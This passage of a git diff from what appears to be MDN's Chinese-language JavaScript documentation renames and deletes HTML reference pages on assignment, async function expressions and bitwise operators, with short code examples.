基本的赋值运算符是等号(=),该运算符把它右边的运算值赋给左边。即,x = y 把 y 的值赋给 x。 其他的赋值运算符通常是标准运算符的简写形式,如下面的定义与示例。 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
名称简写形式含义
赋值(Assignment)x = yx = y
加赋值(Addition assignment)x += yx = x + y
减赋值(Subtraction assignment)x -= yx = x - y
乘赋值(Multiplication assigment)x *= yx = x * y
除赋值(Division assignment)x /= yx = x / y
模赋值(Remainder assignment)x %= yx = x % y
指数赋值(Exponentiation assignment)x **= yx = x ** y
左移赋值(Left shift assignment)x <<= yx = x << y
右移赋值(Right shift assignment)x >>= yx = x >> y
无符号右移赋值(Unsigned right shift assignment)x >>>= yx = x >>> y
按位与赋值(Bitwise AND assignment)x &= yx = x & y
按位异或赋值(Bitwise XOR assignment)x ^= yx = x ^ y
按位或赋值(Bitwise OR assignment)x |= yx = x | y
- -

赋值

- -

简单的赋值运算符,把一个值赋给一个变量。为了把一个值赋给多个变量,可以以链式使用赋值运算符。参考下例:

- -

语法

- -
Operator: x = y
-
- -

示例

- -
// Assuming the following variables
-//  x = 5
-//  y = 10
-//  z = 25
-
-x = y     // x is 10
-x = y = z // x, y and z are all 25
-
- -

加赋值(Addition assignment)

- -

加赋值运算符把一个右值与一个变量相加,然后把相加的结果赋给该变量。两个操作数的类型决定了加赋值运算符的行为。算术相加或字符串连接都有可能。更多细节参考 {{jsxref("Operators/Arithmetic_Operators", "addition operator", "#Addition", 1)}}。

- -

语法

- -
Operator: x += y
-Meaning:  x  = x + y
-
- -

示例

- -
// 定义下列变量
-//  foo = 'foo'
-//  bar = 5
-//  baz = true
-
-
-// Number + Number -> addition
-bar += 2 // 7
-
-// Boolean + Number -> addition
-baz += 1 // 2
-
-// Boolean + Boolean -> addition
-baz += false // 1
-
-// Number + String -> concatenation
-bar += 'foo' // "5foo"
-
-// String + Boolean -> concatenation
-foo += false // "foofalse"
-
-// String + String -> concatenation
-foo += 'bar' // "foobar"
-
- -

减赋值(Subtraction assignment)

- -

减赋值运算符使一个变量减去右值,然后把结果赋给该变量。更多细节查看 {{jsxref("Operators/Arithmetic_Operators", "subtraction operator", "#Subtraction", 1)}} 。

- -

语法

- -
Operator: x -= y
-Meaning:  x  = x - y
-
- -

示例

- -
// 假定已定义了下面的变量
-//  bar = 5
-
-bar -= 2     // 3
-bar -= "foo" // NaN
-
- -

乘赋值(Multiplication assignment)

- -

乘赋值运算符使一个变量乘以右值,然后把相成的结果赋给该变量。更多细节查看 {{jsxref("Operators/Arithmetic_Operators", "multiplication operator", "#Multiplication", 1)}}。

- -

语法

- -
Operator: x *= y
-Meaning:  x  = x * y
-
- -

示例

- -
// 假定已定义了下面的变量
-//  bar = 5
-
-bar *= 2     // 10
-bar *= 'foo' // NaN
-
- -

除赋值(Division assignment)

- -

除赋值运算符使一个变量除以右值,然后把结果赋给该变量。更多细节查看 {{jsxref("Operators/Arithmetic_Operators", "division operator", "#Division", 1)}}。

- -

语法

- -
Operator: x /= y
-Meaning:  x  = x / y
-
- -

示例

- -
// 假定已定义了下面的变量
-//  bar = 5
-
-bar /= 2     // 2.5
-bar /= "foo" // NaN
-bar /= 0     // Infinity
-
- -

模赋值(Remainder assignment)

- -

模赋值运算符使一个变量除以右值,然后把余数赋给该变量。更多细节查看 {{jsxref("Operators/Arithmetic_Operators", "remainder operator", "#Remainder", 1)}}。

- -

语法

- -
Operator: x %= y
-Meaning:  x  = x % y
-
- -

示例

- -
// Assuming the following variable
-//  bar = 5
-
-bar %= 2     // 1
-bar %= 'foo' // NaN
-bar %= 0     // NaN
-
- -

指数赋值(Exponentiation assignment)

- -

指数赋值运算符使一个变量为底数、以右值为指数的指数运算(乘方)结果赋给该变量。更多细节查看 {{jsxref("Operators/Arithmetic_Operators", "算术运算符", "#Exponentiation", 1)}}。

- -

语法

- -
语法: x **= y
-含义:  x  = x ** y
-
- -

示例

- -
// Assuming the following variable
-//  bar = 5
-
-bar **= 2     // 25
-bar **= 'foo' // NaN
- -

左移赋值(Left shift assignment)

- -

左移赋值运算符使变量向左移动指定位数的比特位,然后把结果赋给该变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", "left shift operator", "#Left_shift", 1)}}。

- -

语法

- -
Operator: x <<= y
-Meaning:  x   = x << y
-
- -

示例

- -
var bar = 5; //  (00000000000000000000000000000101)
-bar <<= 2; // 20 (00000000000000000000000000010100)
-
- -

右移赋值(Right shift assignment)

- -

右移赋值运算符使变量向右移指定位数的比特位,然后把结果赋给该变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", "right shift operator", "#Right_shift", 1)}}。

- -

语法

- -
Operator: x >>= y
-Meaning:  x   = x >> y
-
- -

示例

- -
var bar = 5; //   (00000000000000000000000000000101)
-bar >>= 2;   // 1 (00000000000000000000000000000001)
-
-var bar = -5; //    (-00000000000000000000000000000101)
-bar >>= 2;  // -2 (-00000000000000000000000000000010)
-
- -

无符号右移赋值(Unsigned right shift assignment)

- -

无符号右移赋值运算符向右移动指定数量的比特位,然后把结果赋给变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", " unsigned right shift operator", "#Unsigned_right_shift", 1)}}。

- -

语法

- -
Operator: x >>>= y
-Meaning:  x    = x >>> y
-
- -

示例

- -
var bar = 5; //   (00000000000000000000000000000101)
-bar >>>= 2;  // 1 (00000000000000000000000000000001)
-
-var bar = -5; // (-00000000000000000000000000000101)
-bar >>>= 2; // 1073741822 (00111111111111111111111111111110)
- -

按位与赋值(Bitwise AND assignment)

- -

按位与赋值运算符使用两个操作值的二进制表示,执行按位与运算,并把结果赋给变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", "bitwise AND operator", "#Bitwise_AND", 1)}}。

- -

语法

- -
Operator: x &= y
-Meaning:  x  = x & y
-
- -

示例

- -
var bar = 5;
-// 5:     00000000000000000000000000000101
-// 2:     00000000000000000000000000000010
-bar &= 2; // 0
-
- -

按位异或赋值(Bitwise XOR assignment)

- -

按位异或赋值运算符使用两个操作值的二进制表示,执行二进制异或运算,并把结果赋给变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", "bitwise XOR operator", "#Bitwise_XOR", 1)}}。

- -

语法

- -
Operator: x ^= y
-Meaning:  x  = x ^ y
-
- -

示例

- -
var bar = 5;
-bar ^= 2; // 7
-// 5: 00000000000000000000000000000101
-// 2: 00000000000000000000000000000010
-// -----------------------------------
-// 7: 00000000000000000000000000000111
-
- -

按位或赋值(Bitwise OR assignment)

- -

按位或赋值运算符使用两个操作值的二进制表示,执行按位或运算,并把结果赋给变量。更多细节查看 {{jsxref("Operators/Bitwise_Operators", "bitwise OR operator", "#Bitwise_OR", 1)}}。

- -

语法

- -
Operator: x |= y
-Meaning:  x  = x | y
-
- -

示例

- -
var bar = 5;
-bar |= 2; // 7
-// 5: 00000000000000000000000000000101
-// 2: 00000000000000000000000000000010
-// -----------------------------------
-// 7: 00000000000000000000000000000111
-
- -

示例

- -

带有赋值运算符的左值(Left operand)

- -

在某些不常见的情况下,赋值运算符(如 x += y)并不等同于表达式( x = x + y)。当一个赋值运算符的左值包含有一个赋值运算符时,左值只会被求值一次。例如:

- -
a[i++] += 5         // i 执行一次求值
-a[i++] = a[i++] + 5 // i 执行两次求值
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-assignment-operators', 'Assignment operators')}}{{Spec2('ESDraft')}}
{{SpecName('ES2015', '#sec-assignment-operators', 'Assignment operators')}}{{Spec2('ES2015')}}
{{SpecName('ES5.1', '#sec-11.13', 'Assignment operators')}}{{Spec2('ES5.1')}}
{{SpecName('ES1', '#sec-11.13', 'Assignment operators')}}{{Spec2('ES1')}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("javascript.operators.assignment")}}

- -

相关链接

- - diff --git a/files/zh-cn/web/javascript/reference/operators/async_function/index.html b/files/zh-cn/web/javascript/reference/operators/async_function/index.html new file mode 100644 index 0000000000..eebfd13ca2 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/async_function/index.html @@ -0,0 +1,98 @@ +--- +title: async function expression +slug: Web/JavaScript/Reference/Operators/async允许声明一个函数为一个包含异步操作的函数 +tags: + - JavaScript + - 函数 + - 基本表达式 + - 实验性内容 + - 操作符 +translation_of: Web/JavaScript/Reference/Operators/async_function +--- +
{{jsSidebar("Operators")}}
+ +
 
+ +

async function 关键字用来在表达式中定义异步函数。当然,你也可以用 {{jsxref('Statements/async_function', '异步函数语句')}} 来定义。

+ +

语法

+ +
async function [name]([param1[, param2[, ..., paramN]]]) { statements }
+ +

参数

+ +
+
name
+
此异步函数的名称,可省略。如果省略则这个函数将成为匿名函数。该名称仅可在本函数中使用。
+
paramN
+
传入函数的形参名称。
+
statements
+
组成函数体的语句。
+
+ +

描述

+ +

异步函数表达式与 {{jsxref('Statements/async_function', '异步函数语句')}} 非常相似,语法也基本相同。它们之间的主要区别在于异步函数表达式可以省略函数名称来创建一个匿名函数。另外,异步函数表达式还可以用在 {{Glossary("IIFE")}} (立即执行函数表达式,Immediately Invoked Function Expression) 中,更多信息见 {{jsxref('Reference/Functions', '函数')}}。

+ +

示例

+ +

一个简单例子

+ +
function resolveAfter2Seconds(x) {
+  return new Promise(resolve => {
+    setTimeout(() => {
+      resolve(x);
+    }, 2000);
+  });
+};
+
+// async function expression assigned to a variable
+var add1 = async function(x) {
+  var a = await resolveAfter2Seconds(20);
+  var b = await resolveAfter2Seconds(30);
+  return x + a + b;
+}
+
+add1(10).then(v => {
+  console.log(v);  // 4 秒后打印 60
+});
+
+(async function(x) { // async function expression used as an IIFE
+  var p_a = resolveAfter2Seconds(20);
+  var p_b = resolveAfter2Seconds(30);
+  return x + await p_a + await p_b;
+})(10).then(v => {
+  console.log(v);  // 2 秒后打印 60
+});
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}{{Spec2('ESDraft')}}ES2017 中的初始定义
+ +

浏览器兼容性

+ +
{{Compat("javascript.operators.async_function_expression")}}
+ +

相关链接

+ +
    +
  • {{jsxref("Statements/async_function", "异步函数语句")}}
  • +
  • {{jsxref("AsyncFunction")}} 对象
  • +
  • {{jsxref("Operators/await", "await 操作符")}}
  • +
diff --git "a/files/zh-cn/web/javascript/reference/operators/async\345\205\201\350\256\270\345\243\260\346\230\216\344\270\200\344\270\252\345\207\275\346\225\260\344\270\272\344\270\200\344\270\252\345\214\205\345\220\253\345\274\202\346\255\245\346\223\215\344\275\234\347\232\204\345\207\275\346\225\260/index.html" "b/files/zh-cn/web/javascript/reference/operators/async\345\205\201\350\256\270\345\243\260\346\230\216\344\270\200\344\270\252\345\207\275\346\225\260\344\270\272\344\270\200\344\270\252\345\214\205\345\220\253\345\274\202\346\255\245\346\223\215\344\275\234\347\232\204\345\207\275\346\225\260/index.html" deleted file mode 100644 index eebfd13ca2..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/async\345\205\201\350\256\270\345\243\260\346\230\216\344\270\200\344\270\252\345\207\275\346\225\260\344\270\272\344\270\200\344\270\252\345\214\205\345\220\253\345\274\202\346\255\245\346\223\215\344\275\234\347\232\204\345\207\275\346\225\260/index.html" +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: async function expression -slug: Web/JavaScript/Reference/Operators/async允许声明一个函数为一个包含异步操作的函数 -tags: - - JavaScript - - 函数 - - 基本表达式 - - 实验性内容 - - 操作符 -translation_of: Web/JavaScript/Reference/Operators/async_function ---- -
{{jsSidebar("Operators")}}
- -
 
- -

async function 关键字用来在表达式中定义异步函数。当然,你也可以用 {{jsxref('Statements/async_function', '异步函数语句')}} 来定义。

- -

语法

- -
async function [name]([param1[, param2[, ..., paramN]]]) { statements }
- -

参数

- -
-
name
-
此异步函数的名称,可省略。如果省略则这个函数将成为匿名函数。该名称仅可在本函数中使用。
-
paramN
-
传入函数的形参名称。
-
statements
-
组成函数体的语句。
-
- -

描述

- -

异步函数表达式与 {{jsxref('Statements/async_function', '异步函数语句')}} 非常相似,语法也基本相同。它们之间的主要区别在于异步函数表达式可以省略函数名称来创建一个匿名函数。另外,异步函数表达式还可以用在 {{Glossary("IIFE")}} (立即执行函数表达式,Immediately Invoked Function Expression) 中,更多信息见 {{jsxref('Reference/Functions', '函数')}}。

- -

示例

- -

一个简单例子

- -
function resolveAfter2Seconds(x) {
-  return new Promise(resolve => {
-    setTimeout(() => {
-      resolve(x);
-    }, 2000);
-  });
-};
-
-// async function expression assigned to a variable
-var add1 = async function(x) {
-  var a = await resolveAfter2Seconds(20);
-  var b = await resolveAfter2Seconds(30);
-  return x + a + b;
-}
-
-add1(10).then(v => {
-  console.log(v);  // 4 秒后打印 60
-});
-
-(async function(x) { // async function expression used as an IIFE
-  var p_a = resolveAfter2Seconds(20);
-  var p_b = resolveAfter2Seconds(30);
-  return x + await p_a + await p_b;
-})(10).then(v => {
-  console.log(v);  // 2 秒后打印 60
-});
-
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}{{Spec2('ESDraft')}}ES2017 中的初始定义
- -

浏览器兼容性

- -
{{Compat("javascript.operators.async_function_expression")}}
- -

相关链接

- -
    -
  • {{jsxref("Statements/async_function", "异步函数语句")}}
  • -
  • {{jsxref("AsyncFunction")}} 对象
  • -
  • {{jsxref("Operators/await", "await 操作符")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html b/files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html new file mode 100644 index 0000000000..20eece2691 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html @@ -0,0 +1,106 @@ +--- +title: 按位与 (&) +slug: Web/JavaScript/Reference/Operators/按位与 +translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND +--- +
{{jsSidebar("Operators")}}
+ +

按位与运算符 (&) 在每个位上返回 1 ,这两个操作数对应的位都是 1.

+ +
{{EmbedInteractiveExample("pages/js/expressions-bitwise-and.html")}}
+ + + +

语法

+ +
a & b
+
+ +

描述

+ +

操作数被转换为32位整数,并由一系列位(0和1)表示。 超过32位的数字将丢弃其最高有效位。 例如,以下大于32位的整数将被转换为32位整数:

+ +
Before: 11100110111110100000000000000110000000000001
+After:              10100000000000000110000000000001
+ +

第一个操作数中的每个位都与第二个操作数中的相应位配对:第一位到第一位,第二位到第二位,依此类推。

+ +

将运算符应用于每对位,然后按位构造结果。

+ +

与运算的真值表:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
aba AND b
000
010
100
111
+ +
.    9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
+
+ +

将任何数字x0进行按位与运算将得出0

+ +

示例

+ +

使用按位与

+ +
// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+5 & 2; // 0
+ +

规范说明

+ + + + + + + + + + + + +
Specification
{{SpecName('ESDraft', '#prod-BitwiseANDExpression', 'Bitwise AND expression')}}
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.operators.bitwise_and")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/javascript/reference/operators/bitwise_operators/index.html b/files/zh-cn/web/javascript/reference/operators/bitwise_operators/index.html deleted file mode 100644 index 4bdd7a1bc7..0000000000 --- a/files/zh-cn/web/javascript/reference/operators/bitwise_operators/index.html +++ /dev/null @@ -1,756 +0,0 @@ ---- -title: 按位操作符 -slug: Web/JavaScript/Reference/Operators/Bitwise_Operators -tags: - - js ^ & Bitwise Operators -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Bitwise_Operators ---- -
{{jsSidebar("Operators")}}
- -

概述

- -

按位操作符(Bitwise operators) 将其操作数(operands)当作32位的比特序列(由0和1组成),而不是十进制、十六进制或八进制数值。例如,十进制数9,用二进制表示则为1001。按位操作符操作数字的二进制形式,但是返回值依然是标准的JavaScript数值。

- -

下面的表格总结了JavaScript中的按位操作符:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
运算符用法描述
按位与( AND)a & b对于每一个比特位,只有两个操作数相应的比特位都是1时,结果才为1,否则为0。
按位或(OR)a | b对于每一个比特位,当两个操作数相应的比特位至少有一个1时,结果为1,否则为0。
按位异或(XOR)a ^ b对于每一个比特位,当两个操作数相应的比特位有且只有一个1时,结果为1,否则为0。
按位非(NOT)~ a反转操作数的比特位,即0变成1,1变成0。
左移(Left shift)a << b将 a 的二进制形式向左移 b (< 32) 比特位,右边用0填充。
有符号右移a >> b将 a 的二进制表示向右移 b (< 32) 位,丢弃被移出的位。
无符号右移a >>> b将 a 的二进制表示向右移 b (< 32) 位,丢弃被移出的位,并使用 0 在左侧填充。
- -

有符号32位整数

- -

所有的按位操作符的操作数都会被转成补码(two's complement)形式的有符号32位整数。补码形式是指一个数的负对应值(negative counterpart)(如 5和-5)为数值的所有比特位反转后,再加1。反转比特位即该数值进行’非‘位运算,也即该数值的反码。例如下面为整数314的二进制编码:

- -
00000000000000000000000100111010
-
- -

下面编码 ~314,即 314 的反码:

- -
11111111111111111111111011000101
-
- -

最后,下面编码 -314,即 314 的反码再加1:

- -
11111111111111111111111011000110
-
- -

补码保证了当一个数是正数时,其最左的比特位是0,当一个数是负数时,其最左的比特位是1。因此,最左边的比特位被称为符号位(sign bit)。

- -

0 是所有比特数字0组成的整数。

- -
0 (base 10) = 00000000000000000000000000000000 (base 2)
-
- -

-1 是所有比特数字1组成的整数。

- -
-1 (base 10) = 11111111111111111111111111111111 (base 2)
-
- -

-2147483648(十六进制形式:-0x80000000)是除了最左边为1外,其他比特位都为0的整数。

- -
-2147483648 (base 10) = 10000000000000000000000000000000 (base 2)
-
- -

2147483647(十六进制形式:0x7fffffff)是除了最左边为0外,其他比特位都为1的整数。

- -
2147483647 (base 10) = 01111111111111111111111111111111 (base 2)
-
- -

数字-21474836482147483647 是32位有符号数字所能表示的最小和最大整数。

- -

按位逻辑操作符

- -

从概念上讲,按位逻辑操作符按遵守下面规则:

- -
    -
  • 操作数被转换成32位整数,用比特序列(0和1组成)表示。超过32位的数字会被丢弃。
    - 例如, 以下具有32位以上的整数将转换为32位整数:
  • -
  • -
    转换前: 11100110111110100000000000000110000000000001
    -转换后:             10100000000000000110000000000001
    -
  • -
  • 第一个操作数的每个比特位与第二个操作数的相应比特位匹配:第一位对应第一位,第二位对应第二位,以此类推。
  • -
  • 位运算符应用到每对比特位,结果是新的比特值。
  • -
- -

& (按位与)

- -

对每对比特位执行与(AND)操作。只有 a 和 b 都是 1 时,a AND b 才是 1。与操作的真值表如下:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba AND b
000
010
100
111
- -
     9 (base 10) = 00000000000000000000000000001001 (base 2)
-    14 (base 10) = 00000000000000000000000000001110 (base 2)
-                   --------------------------------
-14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
-
- -

将任一数值 x 与 0 执行按位与操作,其结果都为 0。将任一数值 x 与 -1 执行按位与操作,其结果都为 x。

- -

| (按位或)

- -

对每一对比特位执行或(OR)操作。如果 a 或 b 为 1,则 a OR b 结果为 1。或操作的真值表:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba OR b
000
011
101
111
- -
     9 (base 10) = 00000000000000000000000000001001 (base 2)
-    14 (base 10) = 00000000000000000000000000001110 (base 2)
-                   --------------------------------
-14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10)
-
- -

将任一数值 x 与 0 进行按位或操作,其结果都是 x。将任一数值 x 与 -1 进行按位或操作,其结果都为 -1。

- -

补充一些例子:

- -
1 | 0 ;                       // 1
-
-1.1 | 0 ;                     // 1
-
-'asfdasfda' | 0 ;             // 0
-
-0 | 0 ;                       // 0
-
-(-1) | 0 ;                    // -1
-
-(-1.5646) | 0 ;               // -1
-
-[] | 0 ;                      // 0
-
-({}) | 0 ;                    // 0
-
-"123456" | 0 ;            // 123456
-
-1.23E2 | 0;               // 123
-
-1.23E12 | 0;              // 1639353344
-
--1.23E2 | 0;              // -123
-
--1.23E12 | 0;             // -1639353344
- -

^ (按位异或)

- -

对每一对比特位执行异或(XOR)操作。当 a 和 b 不相同时,a XOR b 的结果为 1。异或操作真值表:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba XOR b
000
011
101
110
- -
     9 (base 10) = 00000000000000000000000000001001 (base 2)
-    14 (base 10) = 00000000000000000000000000001110 (base 2)
-                   --------------------------------
-14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10)
-
- -

将任一数值 x 与 0 进行异或操作,其结果为 x。将任一数值 x 与 -1 进行异或操作,其结果为 ~x。

- -

~ (按位非)

- -

对每一个比特位执行非(NOT)操作。NOT a 结果为 a 的反转(即反码)。非操作的真值表:

- - - - - - - - - - - - - - - - -
aNOT a
01
10
- -
 9 (base 10) = 00000000000000000000000000001001 (base 2)
-               --------------------------------
-~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10)
-
- -

对任一数值 x 进行按位非操作的结果为 -(x + 1)。例如,~5 结果为 -6。

- -

与 indexOf 一起使用示例:

- -
var str = 'rawr';
-var searchFor = 'a';
-
-// 这是 if (-1*str.indexOf('a') <= 0) 条件判断的另一种方法
-if (~str.indexOf(searchFor)) {
-  // searchFor 包含在字符串中
-} else {
-  // searchFor 不包含在字符串中
-}
-
-// (~str.indexOf(searchFor))的返回值
-// r == -1
-// a == -2
-// w == -3
-
- -

按位移动操作符

- -

按位移动操作符有两个操作数:第一个是要被移动的数字,而第二个是要移动的长度。移动的方向根据操作符的不同而不同。

- -

按位移动会先将操作数转换为大端字节序顺序(big-endian order)的32位整数,并返回与左操作数相同类型的结果。右操作数应小于 32位,否则只有最低 5 个字节会被使用。

- -
注:Big-Endian:高位字节排放在内存的低地址端,低位字节排放在内存的高地址端,
-又称为"高位编址"。
-Big-Endian是最直观的字节序:
-①把内存地址从左到右按照由低到高的顺序写出;
-②把值按照通常的高位到低位的顺序写出;
-③两者对照,一个字节一个字节的填充进去。
- -

<< (左移)

- -

该操作符会将第一个操作数向左移动指定的位数。向左被移出的位被丢弃,右侧用 0 补充。

- -

For example, 9 << 2 yields 36:

- -
     9 (base 10): 00000000000000000000000000001001 (base 2)
-                  --------------------------------
-9 << 2 (base 10): 00000000000000000000000000100100 (base 2) = 36 (base 10)
-
- -

在数字 x 上左移 y 比特得到 x * 2y.

- -

>> (有符号右移)

- -

该操作符会将第一个操作数向右移动指定的位数。向右被移出的位被丢弃,拷贝最左侧的位以填充左侧。由于新的最左侧的位总是和以前相同,符号位没有被改变。所以被称作“符号传播”。

- -

例如, 9 >> 2 得到 2:

- -
     9 (base 10): 00000000000000000000000000001001 (base 2)
-                  --------------------------------
-9 >> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
-
- -

相比之下, -9 >> 2 得到 -3,因为符号被保留了。

- -
     -9 (base 10): 11111111111111111111111111110111 (base 2)
-                   --------------------------------
--9 >> 2 (base 10): 11111111111111111111111111111101 (base 2) = -3 (base 10)
-
- -

>>> (无符号右移)

- -

该操作符会将第一个操作数向右移动指定的位数。向右被移出的位被丢弃,左侧用0填充。因为符号位变成了 0,所以结果总是非负的。(译注:即便右移 0 个比特,结果也是非负的。)

- -

对于非负数,有符号右移和无符号右移总是返回相同的结果。例如 9 >>> 29 >> 2 一样返回 2:

- -
      9 (base 10): 00000000000000000000000000001001 (base 2)
-                   --------------------------------
-9 >>> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
-
- -

但是对于负数却不尽相同。 -9 >>> 2 产生 1073741821 这和 -9 >> 2 不同:

- -
      -9 (base 10): 11111111111111111111111111110111 (base 2)
-                    --------------------------------
--9 >>> 2 (base 10): 00111111111111111111111111111101 (base 2) = 1073741821 (base 10)
-
- -

示例

- -

例子:标志位与掩码

- -

位运算经常被用来创建、处理以及读取标志位序列——一种类似二进制的变量。虽然可以使用变量代替标志位序列,但是这样可以节省内存(1/32)。

- -

例如,有 4 个标志位:

- -
    -
  • 标志位 A:我们有 ant
  • -
  • 标志位 B:我们有 bat
  • -
  • 标志位 C:我们有 cat
  • -
  • 标志位 D:我们有 duck
  • -
- -

标志位通过位序列 DCBA 来表示。当一个位被置位 (set) 时,它的值为 1 。当被清除 (clear) 时,它的值为 0 。例如一个变量 flags 的二进制值为 0101:

- -
var flags = 5;   // 二进制 0101
-
- -

这个值表示:

- -
    -
  • 标志位 A 是 true (我们有 ant);
  • -
  • 标志位 B 是 false (我们没有 bat);
  • -
  • 标志位 C 是 true (我们有 cat);
  • -
  • 标志位 D 是 false (我们没有 duck);
  • -
- -

因为位运算是 32 位的, 0101 实际上是 00000000000000000000000000000101。因为前面多余的 0 没有任何意义,所以他们可以被忽略。

- -

掩码 (bitmask) 是一个通过与/或来读取标志位的位序列。典型的定义每个标志位的原语掩码如下:

- -
var FLAG_A = 1; // 0001
-var FLAG_B = 2; // 0010
-var FLAG_C = 4; // 0100
-var FLAG_D = 8; // 1000
-
- -

新的掩码可以在以上掩码上使用逻辑运算创建。例如,掩码 1011 可以通过 FLAG_A、FLAG_B 和 FLAG_D 逻辑或得到:

- -
var mask = FLAG_A | FLAG_B | FLAG_D; // 0001 | 0010 | 1000 => 1011
-
- -

某个特定的位可以通过与掩码做逻辑与运算得到,通过与掩码的与运算可以去掉无关的位,得到特定的位。例如,掩码 0100 可以用来检查标志位 C 是否被置位:

- -
// 如果我们有 cat
-if (flags & FLAG_C) { // 0101 & 0100 => 0100 => true
-   // do stuff
-}
-
- -

一个有多个位被置位的掩码表达任一/或者的含义。例如,以下两个表达是等价的:

- -
// 如果我们有 bat 或者 cat 至少一个
-// (0101 & 0010) || (0101 & 0100) => 0000 || 0100 => true
-if ((flags & FLAG_B) || (flags & FLAG_C)) {
-   // do stuff
-}
-
- -
// 如果我们有 bat 或者 cat 至少一个
-var mask = FLAG_B | FLAG_C; // 0010 | 0100 => 0110
-if (flags & mask) { // 0101 & 0110 => 0100 => true
-   // do stuff
-}
-
- -

可以通过与掩码做或运算设置标志位,掩码中为 1 的位可以设置对应的位。例如掩码 1100 可用来设置位 C 和 D:

- -
// 我们有 cat 和 duck
-var mask = FLAG_C | FLAG_D; // 0100 | 1000 => 1100
-flags |= mask;   // 0101 | 1100 => 1101
-
- -

可以通过与掩码做与运算清除标志位,掩码中为 0 的位可以设置对应的位。掩码可以通过对原语掩码做非运算得到。例如,掩码 1010 可以用来清除标志位 A 和 C :

- -
// 我们没有 ant 也没有 cat
-var mask = ~(FLAG_A | FLAG_C); // ~0101 => 1010
-flags &= mask;   // 1101 & 1010 => 1000
-
- -

如上的掩码同样可以通过 ~FLAG_A & ~FLAG_C 得到(德摩根定律):

- -
// 我们没有 ant 也没有 cat
-var mask = ~FLAG_A & ~FLAG_C;
-flags &= mask;   // 1101 & 1010 => 1000
-
- -

标志位可以使用异或运算切换。所有值为 1 的位可以切换对应的位。例如,掩码 0110 可以用来切换标志位 B 和 C:

- -
// 如果我们以前没有 bat ,那么我们现在有 bat
-// 但是如果我们已经有了一个,那么现在没有了
-// 对 cat 也是相同的情况
-var mask = FLAG_B | FLAG_C;
-flags = flags ^ mask;   // 1100 ^ 0110 => 1010
-
- -

最后,所有标志位可以通过非运算翻转:

- -
// entering parallel universe...
-flags = ~flags;    // ~1010 => 0101
-
- -

转换片段

- -

将一个二进制数的 String 转换为十进制的 Number:

- -
var sBinString = "1011";
-var nMyNumber = parseInt(sBinString, 2);
-alert(nMyNumber); // 打印 11
-
- -

将一个十进制的 Number 转换为二进制数的 String:

- -
var nMyNumber = 11;
-var sBinString = nMyNumber.toString(2);
-alert(sBinString); // 打印 1011
-
- -

自动化掩码创建

- -

如果你需要从一系列的 Boolean 值创建一个掩码,你可以:

- -
function createMask () {
-  var nMask = 0, nFlag = 0, nLen = arguments.length > 32 ? 32 : arguments.length;
-  for (nFlag; nFlag < nLen; nMask |= arguments[nFlag] << nFlag++);
-  return nMask;
-}
-var mask1 = createMask(true, true, false, true); // 11, i.e.: 1011
-var mask2 = createMask(false, false, true); // 4, i.e.: 0100
-var mask3 = createMask(true); // 1, i.e.: 0001
-// etc.
-
-alert(mask1); // 打印 11
-
- -

逆算法:从掩码得到布尔数组

- -

如果你希望从掩码得到得到 Boolean Array

- -
function arrayFromMask (nMask) {
-  // nMask 必须介于 -2147483648 和 2147483647 之间
-  if (nMask > 0x7fffffff || nMask < -0x80000000) {
-    throw new TypeError("arrayFromMask - out of range");
-  }
-  for (var nShifted = nMask, aFromMask = []; nShifted;
-       aFromMask.push(Boolean(nShifted & 1)), nShifted >>>= 1);
-  return aFromMask;
-}
-
-var array1 = arrayFromMask(11);
-var array2 = arrayFromMask(4);
-var array3 = arrayFromMask(1);
-
-alert("[" + array1.join(", ") + "]");
-// 打印 "[true, true, false, true]", i.e.: 11, i.e.: 1011
-
- -

你可以同时测试以上两个算法……

- -
var nTest = 19; // our custom mask
-var nResult = createMask.apply(this, arrayFromMask(nTest));
-
-alert(nResult); // 19
-
- -

仅仅由于教学目的 (因为有 Number.toString(2) 方法),我们展示如何修改 arrayFromMask 算法通过 Number 返回二进制的 String,而非 Boolean Array:

- -
function createBinaryString (nMask) {
-  // nMask must be between -2147483648 and 2147483647
-  for (var nFlag = 0, nShifted = nMask, sMask = ""; nFlag < 32;
